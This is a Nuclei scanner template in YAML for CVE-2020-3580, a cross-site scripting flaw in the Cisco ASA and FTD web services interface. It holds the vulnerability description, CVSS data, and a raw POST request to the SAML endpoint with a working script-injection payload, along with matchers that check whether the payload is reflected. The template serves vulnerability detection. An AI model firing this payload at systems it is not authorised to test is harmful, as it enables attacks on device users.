42 lines
1.8 KiB
YAML
42 lines
1.8 KiB
YAML
id: CVE-2020-3580
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info:
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name: Cisco ASA XSS
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author: pikpikcu
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severity: medium
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description: |
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Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2020-3580
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- https://twitter.com/ptswarm/status/1408050644460650502
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-3580
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cwe-id: CWE-79
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tags: cve,cve2020,xss,cisco
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requests:
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- raw:
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- |
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POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E
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matchers-condition: and
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matchers:
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- type: word
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words:
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- '<svg/onload=alert(/{{randstr}}/)>'
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part: body
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- "text/html" |